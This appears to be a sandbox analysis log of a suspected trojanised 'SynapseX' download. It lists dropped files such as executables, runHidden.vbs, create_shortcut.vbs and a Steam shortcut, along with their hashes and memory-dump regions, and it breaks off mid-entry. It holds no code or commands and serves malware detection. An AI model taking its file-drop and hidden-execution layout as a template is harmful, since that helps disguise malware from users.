SHA512 101cafa40fed2327ee94a6c94c040e944a8f6596e864deeaafa2077ce1c695859cdcab7d578941be6efcd2f06dcb6dbd2ace0d6f254dffccece5f76421a31de5

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\31939

MD5 8124729f807bcf6c3eb72b6146b52625
SHA1 db5fa4cfc70305606ba86dbc1fa1611e4201f074
SHA256 46c43e6a550c2dbc1f3fcbef5049b84bbd27eb808cfef9a38da4a9fda77c1259
SHA512 f1d0184185265a88f1f3b1bb428ab0f317c97d0a69488925e63c9a43c3d94902dcdba971f20df1f20111f9d0f89cfd58f7a1e9e21c456ba4a15edd156d7a5f13

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\18652

MD5 1eb3d17e84977e4f3d61f4ff0d80cf30
SHA1 15c389d97905021a027bad9d0a12eac21314848d
SHA256 ab98d5e3882b6c8fd46c69eb0c98f504dd7ca9861632c6434eb0118fd1e14557
SHA512 f465ac9768f72e63fa7bbcd347bb168eb3595029872feb7c9e175e1f9411dc12e2ad32a98353665dfae0c9e1d3e8c65b0d8fd9c9b0c58f4b398b9f3bb3d3da52

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\AlternateServices.txt

MD5 da410d40e130de4567375460d4445192
SHA1 2dbd57fddf8297b8c49b92c4a4f76a4364803443
SHA256 2f3eb77040f0f1075824a215e5051e8909d522a0731560efc83d2e0dd6c7e6fd
SHA512 d51b621721bb16fbb442cd6247369e9ce9b66e29f967dc55b184c86083a227295e247713fb27271d193e291e5f804e7afa7e9b9c7c2985a86c7271ef21159bcc

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 f42408b162157e5fed4ec26775b2a3d6
SHA1 55bcd1ba62015a7da104ef420579528da971c631
SHA256 13b8b1fc2b2e29792c42e026d998bc7acd0be9e0adfc88ff35c19bacc2d30373
SHA512 f1457c4841aacda0e10926a4a821aaf9a067be4f011b71a284fdddd9d1cd2152d7cff137b0e0cd42d51aa6d738f89073d3dfc8e6bcb2c1abd9c49f69f40b4ea4

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\6A3FDEE9A56AC09AB1209CCA10FF11F0F30FB830

MD5 cce31d1f903756b6046f0f45c58f0497
SHA1 f9b9b81dc6b1ea0a66f9d1ed0b960681e1d190ef
SHA256 58369e6491ba1a16c7bedf98b4a553d9cae48b3c829e0bd131725b5756471087
SHA512 4c2179a17374664079cec8316c5bca2ef3fb2fd8512e1a00473a155d0646476231870003ea10b029c3cb1c5931b9cf12a506c39e8771a65b48f718ebaaed5dc9

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\027F908F293F35736F831DBCB89993F6C6B3C274

MD5 7e52a5f0ad0ca6e9320f926bc5c5841e
SHA1 f5905a633d6d7d3a04ebbcccd9a6f01e2ab8adc4
SHA256 76c755b394a58bc3e0f6addd8d9c5931e7cdc6767e2082da3497cbf06fdcbf4b
SHA512 c11f5a2e23d0cf0a380135d5fa7c1194ecc92297d2139f1b4542144a26b4584617772bb085f55c7847b1adc7eabd5f79e4206a892dd45f68f082bd25d43bd9cd

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\28345

MD5 9f3b0cedada80075f1faad8168d630d0
SHA1 49a454b50f5f21b696c4d9d028ca4a22b7605aff
SHA256 e47f4bf84d04b4d19eb40e59582265d61d276647ff152ba3b5145dc393b11a3a
SHA512 bb0fc0ab251f4719af81c6a964ff9da890f8b0e32de2374ccfc59b8da394962edb6929830124887f1ebf4746b2f0031405b3468c4375cb3366555ef0184138dc

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\11379

MD5 c7dc63fe6d464a8bc06c294f2d8ae015
SHA1 4ada74f65e472379f6a9ea752819f1634a4974c4
SHA256 b37cd4f33ed912bbd7fe3bce9cecc705166dde9582add686c1bf90c125069cbf
SHA512 cba6d6aec61c5f2847199b6320df1ecb595eeec421ff6dc5606e50d17bdad3423ba5c5a581003acd54da98636bbd55bcea052ac86802cece39c1552f1d8b7065

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\10257

MD5 a13507fd3429c09f60ce082f42d0d7f2
SHA1 90b490278e5728852924982db6e9b62ca981b6a5
SHA256 19058a9862ab9be32e14310da713be74a2ccdcbe33b29985ac45e96544b87e2f
SHA512 ddac77ab1d86bbb59cd71eef30792136604ef20787a89d6926ed6c563fa6c943db0ffa7050dc229d19c310cf9445bb96f9f1bc39707913e7cb76c358be438620

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\31580

MD5 0e6008329f5a6250c7f84e532d4dd196
SHA1 21f3ed9e6904a15f7e0ef05e81af0421115734a4
SHA256 e68444fbf5fadf707b21ae60b6b3ac82577f700af40604c04bb8bbcac5642d0f
SHA512 b27be4265bb7cdd8193defd55ebf5c59b57dfc93da0da625ad8d3089884ad93839c06499c0572226ef37484f86843abffe8fc285581a569fb25c2161233b4b97

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\4333

MD5 6119d448d5a8a259ab7ba1e3230e6b29
SHA1 1b12e7e10b6564b1aca3e1d00fd866b5b54513f6
SHA256 71ddcebf5ecc0d156ad14e64f0103c8f1404f89c5b8c74cdccb6cf284da227ad
SHA512 3eda6af3d201b9a9c0d93320d5d7f1125ba0b2e8784a0c191b541bff105360742b68da7d98b37c3569e2da0bb5accea733fb5c2ee44052fb4f96b37b0bf49859

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 143b25938844dd540e718a92dab970b2
SHA1 376b3889e04256468e8119154113e0bce79ba195
SHA256 250d6027c4618f06524ac2ee9271ea45c964f88891e51670969f44e124d428d2
SHA512 f98eada6b5c9e4c65d9e26af8794774f42c7a5f66e6b6d4a6d48f4c1e65a7353b341a520050b7a21a57416bb5b1c6443698573cc56e91040b5c17cd5c23286fc

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 e1976c7381645db85af0b725103eded2
SHA1 38c05e580b762105b828ef9f7f40f14c3d9f1dc4
SHA256 8bdbc10b9a27ee37f7eca4f7a8962045445ab588f672682432c7dd1a25d2b3ba
SHA512 2c405adfbd3ff4b6c02e30e39dcdec1c141709b9b1c5af424cbeffdc9c8ef160d1d21d151193561a0f934224da30c8beedf58ba4fb6b2ec8ba8f39dd1c75801f

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 8f126881e61f9ae29ecb3c248cd7d553
SHA1 ef6c2e41af04cdd3fbcc31bec4c402e84beb306b
SHA256 1d0fca52b1b25f075da65fed46951094fb32b651f998085cc2fcb91dbd2b6bdf
SHA512 0988c9bcf26d0fb9d1af2386453c10993cc1485e39129c753a8cfc7ee3bc5e698f61cfdcdc827954380f0d7a2d05d899fd3b4ce75e1cfa771d817832f6c96049

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\24651

MD5 92f8ac69d5a122d119e1fdb7024b6d2a
SHA1 ccddfda6b2788b387e79cbe6c19e8a9b1a86c902
SHA256 f54a675e58e1be64875362f47af62c3b3e330f300d3c4328e808f9b2e57330a2
SHA512 59d78dc2b0e73c92e2516863d64e038166477a8eedf2678e3331689e179c11adee83f831b79e9b81c8207351a4b978c2c98644f9372ca7a6071ba4dced01155d

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\40F20DA0D017F230A7F32688711B109FD97350D0

MD5 116f7b2671f5a6d133f4d81ccadd628e
SHA1 5599a329d5f5f6658f055f3211bea4e12cb5d50c
SHA256 22f01f66094d2a4c76a3d1a3fed189a73c3f466b095c668052df0a03f2462edd
SHA512 7b8734d1e19332cc3a6e2c03adc51bd555d8cfe771bd867e217692129f579d36d9d009582437b2aa1d2ac910a0ec9099dcd00dc03e59bec8fe786acab4ac0a3e

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\A752BE816C32A166B4212612D41570FEFDA0B4E8

MD5 ec7078d59b4fecd813250a4ca5cd397d
SHA1 74077abe7e1601203b59cab670524949e06444ac
SHA256 28eedd9d7fe8837c83b0ae449e74a58fb46fb544c03b785d799e0f5c1dc8980f
SHA512 af7f201749d1a66b86ec7c83ed4f414cfd3eedb993eea7ecd9c515c490c0dcd95237b1478cc553b84e934aa96150ce648e1a6690982671f7e34e0d67fac88d4a

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\9FC8C85689D31525EACE26158B83B464F43A027B

MD5 f16b63aa05b2ad8b0a3ce8e8de50bae6
SHA1 df721f60299246e63f3d4455da57fc715e24af9c
SHA256 0c81667e42a0b95defb70be5ef8c67d5d8776997c036c848d8a6625f9966b468
SHA512 ecfc5901c763e5ea2fd852aa4ce6e714ef6af75f9735141e79df62a669cdec06ec7e0bbb461ad188dedb2da6277eaa846b92f08d8353d7e15351df52c9adbdd3

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\59FECB5D6DDE48F7C74C1517F59BC2EA21B802BE

MD5 8e35530416156bf8c8b23ad5f5b85a6c
SHA1 ecd372d2767aa8b30042eb9fabeba1dc55cab016
SHA256 1ce0278881fa28c6060b36f52b651f1f8a33c7335c5c1003806c845cf0a1d4e5
SHA512 a1ed481086bf3106c2c3f6d1665a25e1f4b101a5b0ca5c585c61639d6cadb8cd91a49917b62e6aa538c2a362a136f2f91cfadd3c65a3f91cd0df7294cd6e0a86

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\29C1D2E6ED89DBD9E393C807A40B2194B14B1970

MD5 22ab4da20758254151cfa72e100361c8
SHA1 e746830a6743d3d781195f1c9d4ff958655cbd6b
SHA256 08f215db78ea3b4b0b475f0f59a32559f9c6766bb1023e2e1ceadd8e46b9bd28
SHA512 007257e3d5bec5819b6f5c551e3506d783ffd19c0edc706a5df14e99c832a7df74271e0ad6b7d634d9566eb136183d763303decbad94bf615f523da21416912c

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\8C2F1C92A4DA923C5F37853136EE4455781B7419

MD5 a06da4e4b00316170fc90920453f04f7
SHA1 52528a8ca6e4f0f6608a4adebb37d0d82fd54b56
SHA256 272f5cc058158f7acd8a13af454dfd24c7ba7ea214b83f6b5f4ac46bd01c7bd0
SHA512 3e11f7b9cbf9ed7f2dda2ae7f1a975cd661da34bac97ef924adcb8b59f0ad2d640aa416d79a42d6d5d6d8bad6b754f95302249da5be5bac4a7a835c369ff38ea

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\FC774030981282BAD66380C65364DD682D4525BF

MD5 ee94fe9bf08f21a17fd91d844a788d00
SHA1 449f1f84ba974f59588ee6ba1bab6a9496de4e1c
SHA256 b5f8ca47954423abd37c6c3242a40de4c24f1a1978d3fc25c9a587810a6115f9
SHA512 1242975940fdcac3b2c2924d0bbb7dc91023d2df9124de0a48e11361c3093f4ce3ddddf0729eb28c44b3f80d54911d90b4f0956afaa2d63f45c40e2a2ce8c22f

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\20074

MD5 79a9f9fce320a4dc5cb497f14bbf9c3d
SHA1 d667fa06975096a696d5513a827e5a4dd09312de
SHA256 e18c6930cf9445da6251774a01afcaa6994e19b124c07735ab22004ce1b34326
SHA512 84a87333ff6a8324c5379b53f4d1acca4798939ab402ea4c11c998f918ea6db67149c32898e13ef317b3f6b3bb495809283d0d7f92faf0abe8ebaebd0a54e62a

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\3521

MD5 7b94b7fa691b6babd2058e7049fdf784
SHA1 6b7b7806846164363326c05ac9f1cf063c656f2d
SHA256 090712b30dd91713946069dc0712e40e565a9ffeb62c511b3dc92d83ed361fc5
SHA512 71f5bc60a2592e1c5c9ea426658b9fe3ccce0f77862f6e28a9f93e56a2ca64db1c5d6586ce8d06c3d2baff6e89bd972ef08041bfea2d4069e996d6e5fcd89013

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 335ba4e2c90eedf3fe1ba086be7160d3
SHA1 04327eb59ef33e45c1d2889e2d8a91740b3da539
SHA256 a56397692336324633a197985a9813ebad843d5b82eb3cdd2c06256b0e54f0f4
SHA512 40f4419ecf64209f0afdafa457f6274970368039d2e495007d2e98e8cf8ea389508d24847e88e0c89b72e5d3ebfd3d0a1c889984a8873f149c0e623303455370

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 5694b14d9c7f4413549e4adceddf124a
SHA1 d4bb9a7f7063ff70ae14fb369d5a64dbc726d8f3
SHA256 7330bf5c85c79e83627171b78c8ee198711fdc581c8620b248d8d8bc9a3a1924
SHA512 e5ff2064c4b370c0ec89315b18a88dfaa99a70e501cdb0161ad257c77711fadcb40a79b25f6bfb13cf1609111ce58375bbbcf08b74a6c76ebec4fc118ebbe647

C:\Users\Admin\Downloads\SynapseX.Y2DpTcdS.zip.part

MD5 19bf8debaafe53b008c51681e7c0c730
SHA1 520afdb7088825e0745d95b769515d601e7edd5b
SHA256 0331eda4150cb2da98719bf9539485c6e98373e04211c0311e61da8fa18f9417
SHA512 6e4c46de2e4d0da94547047751b1c036d7ba2771a71003723627dbaaca89fb963dd97204c20391741c49ccfa0d407725a10545719f47e82c0944f263b654f864

C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\3b1psp2h.default-release\sessionstore-backups\recovery.jsonlz4

MD5 79de4fdcb97f185b176ba4c12127146c
SHA1 4574b70a5de6cd105ea4166f6a8558bf523e8da6
SHA256 6fa7a5ec726ac13145eff4b701e36b6a0f172e9362a0f720c04cfe17bf8616c6
SHA512 3614b75c4ac0182779fdc12528125ad55d04e0ea0bf2220505191159d78ac972570aa7c9b02027446fbf057ec6f4dea13e0566db1ad4107f0e2f590445abc163

memory/7176-6017-0x0000000000AA0000-0x0000000000AA8000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_dd2idmnf.u0f.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/7836-6027-0x0000020BC7C30000-0x0000020BC7C52000-memory.dmp

C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk0.exe

MD5 c93d65bc0ed7ee88d266b4be759301f8
SHA1 8c0c415ba824737c61904676e7132094f5710099
SHA256 f9d1a3b43fdeca1691af785f6bdfb445c224e46e58be9d27ba4d77801ef2183f
SHA512 7a66f73d0d4ebd3eb160f87842883d427a3a85a75cb716db96b27670f2c96e75bf396fa2ac65f05413c1a7f16d961d242676320228e1d0c805318a88236f55f1

C:\Users\Admin\AppData\Roaming\bocj4ndh.cqk1.exe

MD5 29adde8b1eb1a2985a06dfb34030a0fd
SHA1 a7b55d16e2be8419fcf7cac3a15c41289162a8f2
SHA256 968cd7aecd29880ee76fc73dc6b5ce733a7256f4ed8f9e21f7e05084f4ff49b7
SHA512 8b272a111f6db9d1757954cb002a84e28bd01761b2515a7b6551407dba0c31d9ae14f61bd2c20d1c7e4eb9b1cf26400e5d09e6d4557fe76339f433eccc3b8c0d

memory/7800-6045-0x00000000009C0000-0x0000000000A2D000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\73FE.tmp\73FF.tmp\7400.bat

MD5 9e323d39863f38c478d1c5b8e77d4b6e
SHA1 5f4e0dc4cc7f691471b7d00abb7fbec426acc9da
SHA256 9e827ac8958c5be3af3229c702a3877a8bd2131924d494923ca36ea81e542406
SHA512 37a290455bcb4fc50c594430eeeeacc6e446d7148cb7babb6eb61cc9d1f2f624cd76a11ea926fbe25ce5327989ce73c02631fc21a609696f262e85d096f4fb80

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 aa0a32b11dca7b04f4cc5fe8c55cb357
SHA1 00e354fd0754a7d721a270cdc08f970b9a3f6605
SHA256 e336a593bd31921c46757a88a99759f6a33854d0c8b854c0c8f118e5cede1ea1
SHA512 1db91d3540da2c7eb4e151d698f3a9c1d2caed3161c41f1c2c73781a65e9dfc818902f0220c0aa9fc2c617d4851f23f4a576c4e5fe0f40ec78e9ed01c8ad8b30

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 f5e262b77e5ecb4ec8a2796521dcd061
SHA1 728e1cab623e194f149c874b605a7307d29cea9b
SHA256 2869b4d6bdcad50cfc978e44f66cb1389739c7416cb366f0b3f33f055a3a31bc
SHA512 d89daeec6a3c64ca77faa48761548f2bf05e14433a6bb0f213f8ccbd3e1254bfa15c12751b329f416e37711835351cf6c063f349f46a8b4696620452577614cd

memory/7800-6063-0x0000000003950000-0x0000000003D50000-memory.dmp

memory/7800-6064-0x0000000003950000-0x0000000003D50000-memory.dmp

memory/7800-6067-0x00000000762A0000-0x00000000764F2000-memory.dmp

memory/7404-6068-0x0000000000430000-0x0000000000439000-memory.dmp

memory/7800-6069-0x00000000009C0000-0x0000000000A2D000-memory.dmp

memory/7800-6065-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/7404-6071-0x0000000002060000-0x0000000002460000-memory.dmp

memory/7404-6072-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/7404-6074-0x00000000762A0000-0x00000000764F2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\SynapseX.exe.log

MD5 4ae344179932dc8e2c6fe2079f9753ef
SHA1 60eacc624412b1f34809780769e3b212f138ea9c
SHA256 3063de3898a9b34e19f8cf0beeec2b8bd6bd05896b52abd73f4703d07b8a7cd4
SHA512 fadfe2b83f1af8fdc50430325f69d6172d2c1e889ca3800b3b83e5535d5970c32e9a176b48563275a0630d56c96d9f88df148fd6b2d281f0fc58129e5f4dba19

memory/5924-6097-0x00000000005E0000-0x000000000064D000-memory.dmp

C:\Users\Admin\AppData\Roaming\runHidden.vbs

MD5 8c6fee47e5d4411fce80cfdb27588fd7
SHA1 e71179402984e699b18a9c06e679d111e3b17dfb
SHA256 aa7151189b034bc32ce3579d2e765756cb1830179702a43320a3ef4f0a73017f
SHA512 dc94fd257f0cc8a5816e55ebb208808f07a7f34bb3c11b057969c50ba1b3855b78aa29b18d2164a1faf16de3efb9e655b316d64b72786bc679f1d3283a882572

memory/5924-6110-0x00000000034E0000-0x00000000038E0000-memory.dmp

memory/5924-6113-0x00000000762A0000-0x00000000764F2000-memory.dmp

memory/5924-6115-0x00000000005E0000-0x000000000064D000-memory.dmp

memory/5924-6111-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/3584-6117-0x00000000021F0000-0x00000000025F0000-memory.dmp

memory/3584-6120-0x00000000762A0000-0x00000000764F2000-memory.dmp

memory/3584-6118-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/3016-6129-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6131-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6130-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6141-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6140-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6139-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6138-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6137-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6136-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/3016-6135-0x00000122E11F0000-0x00000122E11F1000-memory.dmp

memory/6832-6151-0x00000000005E0000-0x000000000064D000-memory.dmp

memory/6832-6153-0x0000000003900000-0x0000000003D00000-memory.dmp

memory/6832-6154-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/6832-6156-0x00000000762A0000-0x00000000764F2000-memory.dmp

memory/7296-6159-0x0000000002F20000-0x0000000003320000-memory.dmp

memory/7296-6162-0x00000000762A0000-0x00000000764F2000-memory.dmp

memory/7296-6160-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 5e6baeec02c3d93dce26652e7acebc90
SHA1 937a7b4a0d42ea56e21a1a00447d899a2aca3c28
SHA256 137bf90e25dbe4f70e614b7f6e61cba6c904c664858e1fe2bc749490b4a064c0
SHA512 461990704004d7be6f273f1cee94ea73e2d47310bac05483fd98e3c8b678c42e7625d799ac76cf47fe5e300e7d709456e8c18f9854d35deb8721f6802d24bea4

memory/4960-6189-0x00000000033C0000-0x00000000037C0000-memory.dmp

memory/4960-6190-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/4960-6192-0x00000000762A0000-0x00000000764F2000-memory.dmp

memory/6260-6195-0x00000000020E0000-0x00000000024E0000-memory.dmp

memory/6260-6196-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/6260-6198-0x00000000762A0000-0x00000000764F2000-memory.dmp

C:\Users\Admin\AppData\Roaming\runHidden.vbs

MD5 2e0ef8a7e91a824489db29826ccea757
SHA1 6bc002f8318078a918fc1c867c8046edf97f2c79
SHA256 5ad04bfebca20ccab5b66196b83ddfd2822f9915478fdb96eac70d8ac88bfff4
SHA512 a84876575dd140c0d2b0822af6a8b7abf265e834c95a3211a093a70ad560d36ca03660fd65d59a7e641ee40c4614353bd55c9996b3829ad4e2f6178c25d03068

memory/920-6232-0x00000000762A0000-0x00000000764F2000-memory.dmp

memory/920-6230-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/4508-6235-0x00000000029E0000-0x0000000002DE0000-memory.dmp

memory/4508-6238-0x00000000762A0000-0x00000000764F2000-memory.dmp

memory/4508-6236-0x00007FFC5F140000-0x00007FFC5F349000-memory.dmp

memory/920-6229-0x0000000003380000-0x0000000003780000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 35e5f4dac536c65c6061063c0bcc1680
SHA1 33de1ee54ad4af6ef7de46de372878664e40dbae
SHA256 43d8e45c4f9ba7df3e8db0338838023fea62e5d4f0abf87a6fe78c01804893cb
SHA512 ba5cb333699e07024d3193061fe883b4a88351ed9bfb387342ae76811874d8707cde193fd986746ad95b172e0941f56c810121af478b95120806106239408c31

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\6824f4a902c78fbd.customDestinations-ms

MD5 5f7b626fae696b107218eaf0a76b7e0f
SHA1 52be94a50bb6849d7205084f8db16ed3bf5ddbe7
SHA256 fbe44139c3c56deaa7c745e98724b957028d4785b7ce36f59de1ea10e562c2bc
SHA512 f0a1d27f41c500d737827d8668d943716ebbcd1703baac8abb38850711cd42f07bb1466c36e1fd14b37a89f444c8fa1f350f78b1c9ceb4e6854dae8d9f6411dd

C:\Users\Admin\AppData\Local\Temp\create_shortcut.vbs

MD5 3dd7dd37c304e70a7316fe43b69f421f
SHA1 a3754cfc33e9ca729444a95e95bcb53384cb51e4
SHA256 4fa27ce1d904ea973430adc99062dcf4bab386a19ab0f8d9a4185fa99067f3aa
SHA512 713533e973cf0fd359ac7db22b1399392c86d9fd1e715248f5724aafbbf0eeb5eac0289a0e892167eb559be976c2ad0a0a0d8efc407ffaf5b3c3a32aa9a0aaa4

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 dd3474e6a72c08266c25f196f78b13fd
SHA1 b70c6bbd7794b49b6b9afa6343987a7f553d1268
SHA256 82acd1c6613bb2c907a26be1f61f6556ee03cabf1aa73dad27d012be88e05318
SHA512 cf5138ab09f19034fa5d058819956fd0556c56d674268e496dbaded228839d2be576bd74cda26127adf03cce9a8ab485ce6a07c7332a2c65a77ca9b56d92c79d

C:\Users\Admin\Desktop\Steam.lnk

MD5 51e6e89c8b7541a0c0e596fcf30c689d
SHA1 0a928b9c78fb3017ce87f8e2feead527c95f1914
SHA256 393bdfcd1af37faefde631e09308ae55dc5151ea8973be03080ae44496d44237
SHA512 878bc63392fcbfbfdd3cca71cc106c5d46200735324ac450cad79b8147c1aa0c48b06e6a9f18d2a627071bacf368689fdb85bde07a4611c42844691d544957b6

C:\Users\Admin\AppData\Local\Temp\create_shortcut.vbs

MD5 07f5fd176e6c30bcfd452d0cd6f310f6
SHA1 0cb6c314d1a21784c657637f61caaa458b58ea12
SHA256 b6e9673915586cafb7f96a9195a4e10a9d550f72f4acd73012a40726e5268d57
SHA512 a191c9d4f3f95ff5b7067042ebdb6fb5d927779c1d86c739ad8668a2533be0f76e2a70318dd6de49c4973dc87fa3100e0fb8273622ad6cfcc9e4149fc35cb806

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 b30d3becc8731792523d599d949e63f5
SHA1 19350257e42d7aee17fb3bf139a9d3adb330fad4
SHA256 b1b77e96279ead2b460de3de70e2ea4f5ad1b853598a4e27a5caf3f1a32cc4f3
SHA512 523f54895fb07f62b9a5f72c8b62e83d4d9506bda57b183818615f6eb7286e3b9c5a50409bc5c5164867c3ccdeae88aa395ecca6bc7e36d991552f857510792e

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 752a1f26b18748311b691c7d8fc20633
SHA1 c1f8e83eebc1cc1e9b88c773338eb09ff82ab862
SHA256 111dac2948e4cecb10b0d2e10d8afaa663d78d643826b592d6414a1fd77cc131
SHA512 a2f5f262faf2c3e9756da94b2c47787ce3a9391b5bd53581578aa9a764449e114836704d6dec4aadc097fed4c818831baa11affa1eb25be2bfad9349bb090fe5

C:\Users\Admin\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

MD5 6bf1610a89952797f1cbad4d33cb0704
SHA1 92f5e1600975a9aba19e7081dde96312625f1d78
SHA256 c25b6cf49da72fc0bfcc9052a79fde44606abb329ded1242ebcbd7bc10632245
SHA512 25e078a47c223fc580a3b84879082fb857c59caadfb3f189d9cde6a0beaf723e85ae4c7fb6a1cf8315d0a3eeac8aafb1295818f3f02f2744ceb7506437d55ccf

memory/3136-6460-0x00007FFC1F1D0000-0x00007FFC1F1E0000-memory.dmp

memory/3136-6462-0x00007FFC1F1D0000-0x00007FFC1F1E0000-memory.dmp

memory/3136-6463-0x00007FFC1F1D0000-0x00007FFC1F1E0000-memory.dmp

memory/3136-6464-0x00007FFC1F1D0000-0x00007FFC1F1E0000-memory.dmp

memory/3136-6461-0x00007FFC1F1D0000-0x00007FFC1F1E0000-memory.dmp

memory/3136-6465-0x00007FFC1CDF0000-0x00007FFC1CE00000-memory.dmp

memory/3136-6466-0x00007FFC1CDF0000-0x00007FFC1CE00000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Office\Recent\index.dat

MD5 70ce611c23481814fccd3572f71d5804
SHA1 9c75248904d789e3894406dc8eaa3b8f1e6c00d4
SHA256 be6cb4f09b540698becb83fc9efd94d0369f3785317142531ee257bfd41188ee
SHA512 bcbed4b39071fa99f7b1d5b2f968393887b90eaf7ac6ab36e064bfa2d3fbe3dbda1ca64a17bd277b8ad6b3fcd25f1993f1eb284c0f0f8594f537f22a5fa9ec2e

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\31861

MD5 4caca7681acbc98a2eaf1cf463710c85
SHA1 caeef27f7d95f389b2adb27e70ba473f3c1139c8
SHA256 d264b8a14ea4193984590e61f67969bb9097ec291f0727512318199c2d4177b8
SHA512 4089fbbe512c288de3a7f14d688749c1a29bb0765ebdaf875dd0694cafbc0afb7fd40121f85917d48e4f31b79bc28aeec15195e6af0136dd34d84f7ff2b5efd8

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\doomed\11819

MD5 bc49fc0fcecf48d20a3b70acf87b385c
SHA1 7502b2f1882a34624661823725026af3c2272825
SHA256 ee1c04c82d51b0dec09b865aec7d2bae660221a5f0e59da81cda36a9322f1666
SHA512 2791439365b865dca8f400e96f191dc49493b72d6544c8d758c1ce2d0c31bd1ffd15ddf5569a6531450c818a855e251b73937e7f0e6ca7896c87b54fa10eabb7

C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\3b1psp2h.default-release\cache2\entries\A6C74BC2260EAFF823C7AED38BBA607C962CCB55

MD5 006d15c885b199c363ee79147165f700
SHA1 021b4bb875011d8eaee8375fb4dc1d650c699d3f
